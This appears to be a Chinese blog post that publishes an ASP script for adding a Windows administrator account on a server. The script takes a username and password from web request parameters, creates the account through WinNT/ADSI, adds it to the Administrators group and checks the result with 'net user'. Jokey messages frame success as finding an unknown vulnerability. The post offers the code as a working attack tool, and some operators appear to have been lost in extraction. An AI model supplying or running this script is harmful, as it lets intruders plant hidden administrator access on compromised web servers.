ASP代码添加超级用户 -寒龙网出品
2020-12-13 01:56
反正代码是对的，但是很少能成功，具体的看运气了。。
if
request.servervariables("REMOTE_ADDR")"127.0.0.1" then
response.write
"iP !s n0T RiGHt"
else
if request("username")""
then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set
lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set
ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set
od=ob.Create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add
oz&"/"&username
if err then
response.write
"哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if
instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user
"&username.stdout.readall),"上次登录")>0 then
response.write
"虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write
"OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end
if
else
response.write "请输入输入用户名"
end if
end if
%>
下一篇：搭建hadoop2.7.6环境以及解决java.lang.UnsatisfiedLinkError: org.apache.hadoop.io.nativeio.NativeIO$Windo问题